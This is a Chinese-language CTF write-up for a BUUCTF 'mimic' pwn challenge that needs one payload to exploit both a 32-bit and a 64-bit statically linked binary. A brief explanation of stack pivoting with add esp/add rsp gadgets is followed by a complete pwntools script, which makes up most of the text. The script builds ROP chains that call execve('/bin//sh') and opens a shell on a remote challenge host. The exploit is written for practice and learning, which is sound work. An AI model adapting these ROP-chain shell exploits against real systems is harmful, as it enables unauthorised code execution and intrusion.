给了两个二进制文件,我还以为是不同题目,查了资料才知道这是拟态题目,简单来说就是一个payload要打通两个文件
32位的文件
64位
两个文件都是静态链接的不是动态链接的,如果单个来说,直接ropchain搞定好吧
但是呢这里不行32位与64位函数调用了完全不一样怎么能打通呢?
好在64位程序这里多了0x8的溢出,这个溢出就能解决很多问题
我们只要控制程序的esp与rsp就能使两个程序按我们想要的来
只要合理布局就行。
但是还有个问题,payload不能太长,所以我们要进行修剪
这就是eax加了0xb只要变成pop eax ,0xb
两个程序怎么判断还有个条件就是输出是否一样,因为最后有puts函数所以我们要在合适的地方加上”\x00”进行截断
#coding=utf8
from pwn import *
from LibcSearcher import*
from struct import pack
context.log_level = 'debug'
#context.arch='amd64'
io = process("./pwn")
io = remote("node4.buuoj.cn",28741)
def load():
p = ""
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9064) # @ .data + 4
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080d9060) # padding without overwrite ebx
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x080a8af6) #pop eax ;ret
p += p32(0xb)
p += pack('<I', 0x080495a3) # int 0x80
return p
payload32 = load()
def load64():
p = ''
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack("<Q", 0x000000000043b97c) # pop rax ;ret
p +=p64(0x3b)
p += pack('<Q', 0x00000000004011dc) # syscall
return p
payload64 = load64()
gadget32 = 0x080a8f69 #add esp, 0xc ; ret
gadget64 = 0x00000000004079d4 #add rsp, 0xd8 ; ret
payload = b"aaa".ljust(272,b"\x00") + p64(gadget32)+p64(gadget64)+payload32.ljust(0xd8,b"\x00")+payload64
io.sendline(payload)
io.interactive()